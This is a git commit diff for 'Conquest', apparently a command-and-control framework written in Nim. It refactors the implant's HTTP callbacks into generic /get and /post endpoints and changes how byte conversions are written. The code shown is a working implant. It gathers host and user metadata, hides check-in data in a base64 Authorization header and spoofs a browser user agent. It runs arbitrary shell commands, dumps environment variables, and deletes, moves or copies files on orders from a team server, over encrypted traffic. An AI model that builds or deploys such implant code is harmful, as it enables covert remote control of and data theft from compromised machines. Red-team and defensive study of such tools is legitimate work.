Refactored utility functions to make them more readable and removed separate register endpoint.
This commit is contained in:
@@ -21,7 +21,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
|
||||
|
||||
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize check-in / heartbeat request
|
||||
packer
|
||||
|
||||
@@ -4,32 +4,7 @@ import ../../common/[types, utils]
|
||||
|
||||
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define HTTP headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $registrationData.len
|
||||
})
|
||||
|
||||
let body = registrationData.toString()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] [register]:", err.msg
|
||||
quit(0)
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return true
|
||||
|
||||
proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
var responseBody = ""
|
||||
@@ -43,40 +18,38 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
|
||||
return responseBody
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: " & err.msg
|
||||
echo "[-] " & err.msg
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return ""
|
||||
|
||||
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
|
||||
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({
|
||||
"Content-Type": "application/octet-stream",
|
||||
"Content-Length": $resultData.len
|
||||
"Content-Length": $data.len
|
||||
})
|
||||
|
||||
let body = resultData.toString()
|
||||
|
||||
echo body
|
||||
let body = Bytes.toString(data)
|
||||
|
||||
try:
|
||||
# Send binary task result data to server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
|
||||
# Send post request to team server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: " & err.msg
|
||||
echo "[-] " & err.msg
|
||||
return false
|
||||
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
|
||||
@@ -209,12 +209,12 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||
agentPublicKey: config.agentPublicKey,
|
||||
metadata: AgentMetadata(
|
||||
listenerId: uuidToUint32(config.listenerId),
|
||||
username: getUsername().toBytes(),
|
||||
hostname: getHostname().toBytes(),
|
||||
domain: getDomain().toBytes(),
|
||||
ip: getIPv4Address().toBytes(),
|
||||
os: getOSVersion().toBytes(),
|
||||
process: getProcessExe().toBytes(),
|
||||
username: string.toBytes(getUsername()),
|
||||
hostname: string.toBytes(getHostname()),
|
||||
domain: string.toBytes(getDomain()),
|
||||
ip: string.toBytes(getIPv4Address()),
|
||||
os: string.toBytes(getOSVersion()),
|
||||
process: string.toBytes(getProcessExe()),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](config.sleep)
|
||||
@@ -223,7 +223,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
||||
|
||||
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize registration data
|
||||
packer
|
||||
|
||||
@@ -6,12 +6,12 @@ import ../../common/[types, serialize, sequence, crypto, utils]
|
||||
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
|
||||
try:
|
||||
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
|
||||
except CatchableError:
|
||||
echo "[-] Command not found."
|
||||
except CatchableError as err:
|
||||
echo "[-] Invalid command. " & err.msg
|
||||
|
||||
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
||||
|
||||
var unpacker = initUnpacker(bytes.toString)
|
||||
var unpacker = Unpacker.init(Bytes.toString(bytes))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
@@ -23,7 +23,7 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
|
||||
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
@@ -54,7 +54,7 @@ proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
|
||||
|
||||
result = newSeq[Task]()
|
||||
|
||||
var unpacker = initUnpacker(packet)
|
||||
var unpacker = Unpacker.init(packet)
|
||||
|
||||
var taskCount = unpacker.getUint8()
|
||||
echo fmt"[*] Response contained {taskCount} tasks."
|
||||
|
||||
@@ -6,7 +6,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
||||
header: Header(
|
||||
magic: MAGIC,
|
||||
version: VERSION,
|
||||
packetType: cast[uint8](MSG_RESPONSE),
|
||||
packetType: cast[uint8](MSG_RESULT),
|
||||
flags: cast[uint16](FLAG_ENCRYPTED),
|
||||
size: 0'u32,
|
||||
agentId: task.header.agentId,
|
||||
@@ -26,7 +26,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
|
||||
|
||||
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize result body
|
||||
packer
|
||||
|
||||
@@ -61,7 +61,9 @@ proc main() =
|
||||
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
||||
let registrationBytes = config.serializeRegistrationData(registration)
|
||||
|
||||
config.register(registrationBytes)
|
||||
if not config.httpPost(registrationBytes):
|
||||
echo "[-] Agent registration failed."
|
||||
quit(0)
|
||||
echo fmt"[+] [{config.agentId}] Agent registered."
|
||||
|
||||
#[
|
||||
@@ -86,16 +88,16 @@ proc main() =
|
||||
var heartbeat: Heartbeat = config.createHeartbeat()
|
||||
let
|
||||
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
|
||||
packet: string = config.getTasks(heartbeatBytes)
|
||||
packet: string = config.httpGet(heartbeatBytes)
|
||||
|
||||
if packet.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
|
||||
let tasks: seq[Task] = config.deserializePacket(packet)
|
||||
|
||||
if tasks.len <= 0:
|
||||
echo "No tasks to execute."
|
||||
echo "[*] No tasks to execute."
|
||||
continue
|
||||
|
||||
# Execute all retrieved tasks and return their output to the server
|
||||
@@ -103,7 +105,7 @@ proc main() =
|
||||
var result: TaskResult = config.handleTask(task)
|
||||
let resultBytes: seq[byte] = config.serializeTaskResult(result)
|
||||
|
||||
config.postResults(resultBytes)
|
||||
config.httpPost(resultBytes)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] ", err.msg
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="58A66E35"
|
||||
-d:ListenerUuid="7147A315"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=5555
|
||||
-d:SleepDelay=5
|
||||
-d:ServerPublicKey="OzczGQndMRzmaVcJo5USBBSrk76FsNlU8SNzCGbyVgo="
|
||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||
|
||||
@@ -21,7 +21,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[b
|
||||
var tag: AuthenticationTag
|
||||
|
||||
var ctx: GCM[aes256]
|
||||
ctx.init(key, iv, sequenceNumber.toBytes())
|
||||
ctx.init(key, iv, uint32.toBytes(sequenceNumber))
|
||||
|
||||
ctx.encrypt(data, encData)
|
||||
ctx.getTag(tag)
|
||||
@@ -36,7 +36,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (se
|
||||
var tag: AuthenticationTag
|
||||
|
||||
var ctx: GCM[aes256]
|
||||
ctx.init(key, iv, sequenceNumber.toBytes())
|
||||
ctx.init(key, iv, uint32.toBytes(sequenceNumber))
|
||||
|
||||
ctx.decrypt(encData, data)
|
||||
ctx.getTag(tag)
|
||||
@@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
||||
|
||||
# Add combined public keys to hash
|
||||
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
|
||||
let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys
|
||||
let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys
|
||||
|
||||
# Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b)
|
||||
let hash = blake2b(hashMessage, sharedSecret)
|
||||
|
||||
@@ -4,7 +4,7 @@ type
|
||||
Packer* = ref object
|
||||
stream: StringStream
|
||||
|
||||
proc initPacker*(): Packer =
|
||||
proc init*(T: type Packer): Packer =
|
||||
result = new Packer
|
||||
result.stream = newStringStream()
|
||||
|
||||
@@ -64,7 +64,7 @@ type
|
||||
stream: StringStream
|
||||
position: int
|
||||
|
||||
proc initUnpacker*(data: string): Unpacker =
|
||||
proc init*(T: type Unpacker, data: string): Unpacker =
|
||||
result = new Unpacker
|
||||
result.stream = newStringStream(data)
|
||||
result.position = 0
|
||||
@@ -156,7 +156,7 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string =
|
||||
return ""
|
||||
|
||||
# Read content
|
||||
return unpacker.getBytes(int(length)).toString()
|
||||
return Bytes.toString(unpacker.getBytes(int(length)))
|
||||
|
||||
# Serialization & Deserialization functions
|
||||
proc serializeHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
||||
|
||||
@@ -13,7 +13,7 @@ const
|
||||
type
|
||||
PacketType* = enum
|
||||
MSG_TASK = 0'u8
|
||||
MSG_RESPONSE = 1'u8
|
||||
MSG_RESULT = 1'u8
|
||||
MSG_REGISTER = 2'u8
|
||||
MSG_HEARTBEAT = 100'u8
|
||||
|
||||
@@ -56,7 +56,8 @@ type
|
||||
RESULT_NO_OUTPUT = 2'u8
|
||||
|
||||
# Encryption
|
||||
type
|
||||
type
|
||||
Bytes* = seq[byte]
|
||||
Key* = array[32, byte]
|
||||
Iv* = array[12, byte]
|
||||
AuthenticationTag* = array[16, byte]
|
||||
|
||||
@@ -16,17 +16,17 @@ proc uuidToUint32*(uuid: string): uint32 =
|
||||
proc uuidToString*(uuid: uint32): string =
|
||||
return uuid.toHex(8)
|
||||
|
||||
proc toString*(data: seq[byte]): string =
|
||||
proc toString*(T: type Bytes, data: seq[byte]): string =
|
||||
result = newString(data.len)
|
||||
for i, b in data:
|
||||
result[i] = char(b)
|
||||
|
||||
proc toBytes*(data: string): seq[byte] =
|
||||
proc toBytes*(T: type string, data: string): seq[byte] =
|
||||
result = newSeq[byte](data.len)
|
||||
for i, c in data:
|
||||
result[i] = byte(c.ord)
|
||||
|
||||
proc toUint32*(data: seq[byte]): uint32 =
|
||||
proc toUint32*(T: type Bytes, data: seq[byte]): uint32 =
|
||||
if data.len != 4:
|
||||
raise newException(ValueError, "Expected 4 bytes for uint32")
|
||||
|
||||
@@ -44,13 +44,13 @@ proc toHexDump*(data: seq[byte]): string =
|
||||
else:
|
||||
result.add(" ") # Regular space
|
||||
|
||||
proc toBytes*(value: uint16): seq[byte] =
|
||||
proc toBytes*(T: type uint16, value: uint16): seq[byte] =
|
||||
return @[
|
||||
byte(value and 0xFF),
|
||||
byte((value shr 8) and 0xFF)
|
||||
]
|
||||
|
||||
proc toBytes*(value: uint32): seq[byte] =
|
||||
proc toBytes*(T: type uint32, value: uint32): seq[byte] =
|
||||
return @[
|
||||
byte(value and 0xFF),
|
||||
byte((value shr 8) and 0xFF),
|
||||
@@ -58,7 +58,7 @@ proc toBytes*(value: uint32): seq[byte] =
|
||||
byte((value shr 24) and 0xFF)
|
||||
]
|
||||
|
||||
proc toBytes*(value: uint64): seq[byte] =
|
||||
proc toBytes*(T: type uint64, value: uint64): seq[byte] =
|
||||
return @[
|
||||
byte(value and 0xFF),
|
||||
byte((value shr 8) and 0xFF),
|
||||
|
||||
@@ -122,25 +122,24 @@ when defined(agent):
|
||||
for pid in processes:
|
||||
printProcess(pid)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
import sugar
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Displaying environment variables."
|
||||
|
||||
try:
|
||||
var envVars: string = ""
|
||||
var output: string = ""
|
||||
for key, value in envPairs():
|
||||
envVars &= fmt"{key}: {value}" & '\n'
|
||||
output &= fmt"{key}: {value}" & '\n'
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, envVars.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
@@ -148,8 +147,8 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
|
||||
let message = "Not implemented"
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, message.toBytes())
|
||||
let output = "Not implemented"
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -113,17 +113,17 @@ when defined(agent):
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
let output = $buffer[0 ..< (int)length] & "\n"
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Change working directory
|
||||
proc executeCd(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = task.args[0].data.toString()
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Changing current working directory to {targetDirectory}."
|
||||
|
||||
@@ -135,7 +135,7 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
@@ -158,7 +158,7 @@ when defined(agent):
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
of 1:
|
||||
targetDirectory = task.args[0].data.toString()
|
||||
targetDirectory = Bytes.toString(task.args[0].data)
|
||||
else:
|
||||
discard
|
||||
|
||||
@@ -282,17 +282,17 @@ when defined(agent):
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Remove file
|
||||
proc executeRm(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = task.args[0].data.toString()
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting file {target}."
|
||||
|
||||
@@ -303,14 +303,14 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Remove directory
|
||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = task.args[0].data.toString()
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting directory {target}."
|
||||
|
||||
@@ -321,15 +321,15 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
# Move file or directory
|
||||
proc executeMove(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
lpExistingFileName = task.args[0].data.toString()
|
||||
lpNewFileName = task.args[1].data.toString()
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
@@ -340,7 +340,7 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Copy file or directory
|
||||
@@ -348,8 +348,8 @@ when defined(agent):
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
lpExistingFileName = task.args[0].data.toString()
|
||||
lpNewFileName = task.args[1].data.toString()
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
@@ -361,4 +361,4 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -36,11 +36,11 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
case int(task.argCount):
|
||||
of 1: # Only the command has been passed as an argument
|
||||
command = task.args[0].data.toString()
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = ""
|
||||
of 2: # The optional 'arguments' parameter was included
|
||||
command = task.args[0].data.toString()
|
||||
arguments = task.args[1].data.toString()
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = Bytes.toString(task.args[1].data)
|
||||
else:
|
||||
discard
|
||||
|
||||
@@ -49,9 +49,9 @@ when defined(agent):
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_STRING, string.toBytes(output))
|
||||
else:
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -30,7 +30,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
# Parse task parameter
|
||||
let delay = int(task.args[0].data.toUint32())
|
||||
let delay = int(Bytes.toUint32(task.args[0].data))
|
||||
|
||||
echo fmt" [>] Sleeping for {delay} seconds."
|
||||
|
||||
@@ -41,4 +41,4 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -92,7 +92,7 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
if int(taskResult.length) > 0:
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:")
|
||||
# Split result string on newline to keep formatting
|
||||
for line in taskResult.data.toString().split("\n"):
|
||||
for line in Bytes.toString(taskResult.data).split("\n"):
|
||||
cq.writeLine(line)
|
||||
|
||||
of RESULT_BINARY:
|
||||
|
||||
@@ -3,38 +3,16 @@ import sequtils, strutils, times, base64
|
||||
|
||||
import ./handlers
|
||||
import ../[utils, globals]
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, serialize]
|
||||
|
||||
proc error404*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
|
||||
#[
|
||||
POST /register
|
||||
Called from agent to register itself to the conquest server
|
||||
]#
|
||||
proc register*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# If POST data is not binary data, return 404 error code
|
||||
if ctx.request.contentType != "application/octet-stream":
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
try:
|
||||
if not register(ctx.request.body.toBytes()):
|
||||
resp "", Http400
|
||||
return
|
||||
|
||||
resp "", Http200
|
||||
|
||||
except CatchableError:
|
||||
resp "", Http404
|
||||
|
||||
#[
|
||||
GET /tasks
|
||||
Called from agent to check for new tasks
|
||||
]#
|
||||
proc getTasks*(ctx: Context) {.async.} =
|
||||
proc httpGet*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
|
||||
@@ -42,7 +20,7 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes()
|
||||
let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1]))
|
||||
|
||||
try:
|
||||
var response: seq[byte]
|
||||
@@ -57,12 +35,12 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
response.add(cast[uint8](tasks.len))
|
||||
|
||||
for task in tasks:
|
||||
response.add(uint32(task.len).toBytes())
|
||||
response.add(uint32.toBytes(uint32(task.len)))
|
||||
response.add(task)
|
||||
|
||||
await ctx.respond(
|
||||
code = Http200,
|
||||
body = response.toString()
|
||||
body = Bytes.toString(response)
|
||||
)
|
||||
|
||||
# Notify operator that agent collected tasks
|
||||
@@ -77,7 +55,7 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
POST /results
|
||||
Called from agent to post results of a task
|
||||
]#
|
||||
proc postResults*(ctx: Context) {.async.} =
|
||||
proc httpPost*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# If POST data is not binary data, return 404 error code
|
||||
@@ -85,8 +63,19 @@ proc postResults*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
try:
|
||||
handleResult(ctx.request.body.toBytes())
|
||||
try:
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(ctx.request.body)
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||
if not register(string.toBytes(ctx.request.body)):
|
||||
resp "", Http400
|
||||
return
|
||||
resp "", Http200
|
||||
|
||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||
handleResult(string.toBytes(ctx.request.body))
|
||||
|
||||
except CatchableError:
|
||||
resp "", Http404
|
||||
|
||||
@@ -66,9 +66,8 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
||||
var listener = newApp(settings = listenerSettings)
|
||||
|
||||
# Define API endpoints
|
||||
listener.post("register", routes.register)
|
||||
listener.get("tasks", routes.getTasks)
|
||||
listener.post("results", routes.postResults)
|
||||
listener.get("get", routes.httpGet)
|
||||
listener.post("post", routes.httpPost)
|
||||
listener.registerErrorHandler(Http404, routes.error404)
|
||||
|
||||
# Store listener in database
|
||||
@@ -99,9 +98,8 @@ proc restartListeners*(cq: Conquest) =
|
||||
listener = newApp(settings = settings)
|
||||
|
||||
# Define API endpoints
|
||||
listener.post("register", routes.register)
|
||||
listener.get("tasks", routes.getTasks)
|
||||
listener.post("results", routes.postResults)
|
||||
listener.get("get", routes.httpGet)
|
||||
listener.post("post", routes.httpPost)
|
||||
listener.registerErrorHandler(Http404, routes.error404)
|
||||
|
||||
try:
|
||||
|
||||
@@ -4,7 +4,7 @@ import ../../common/[types, utils, serialize, sequence, crypto]
|
||||
|
||||
proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
|
||||
|
||||
var packer = initPacker()
|
||||
var packer = Packer.init()
|
||||
|
||||
# Serialize payload
|
||||
packer
|
||||
@@ -33,19 +33,19 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
|
||||
|
||||
proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
||||
|
||||
var unpacker = initUnpacker(resultData.toString)
|
||||
var unpacker = Unpacker.init(Bytes.toString(resultData))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
# Packet Validation
|
||||
validatePacket(header, cast[uint8](MSG_RESPONSE))
|
||||
validatePacket(header, cast[uint8](MSG_RESULT))
|
||||
|
||||
# Decrypt payload
|
||||
let payload = unpacker.getBytes(int(header.size))
|
||||
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
taskId = unpacker.getUint32()
|
||||
@@ -71,7 +71,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
||||
|
||||
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
|
||||
var unpacker = initUnpacker(data.toString)
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
let header= unpacker.deserializeHeader()
|
||||
|
||||
@@ -87,7 +87,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
let decData= validateDecryption(sessionKey, header.iv, payload, header.seqNr, header)
|
||||
|
||||
# Deserialize decrypted data
|
||||
unpacker = initUnpacker(decData.toString)
|
||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||
|
||||
let
|
||||
listenerId = unpacker.getUint32()
|
||||
@@ -121,7 +121,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
||||
|
||||
proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
|
||||
|
||||
var unpacker = initUnpacker(data.toString)
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
|
||||
let header = unpacker.deserializeHeader()
|
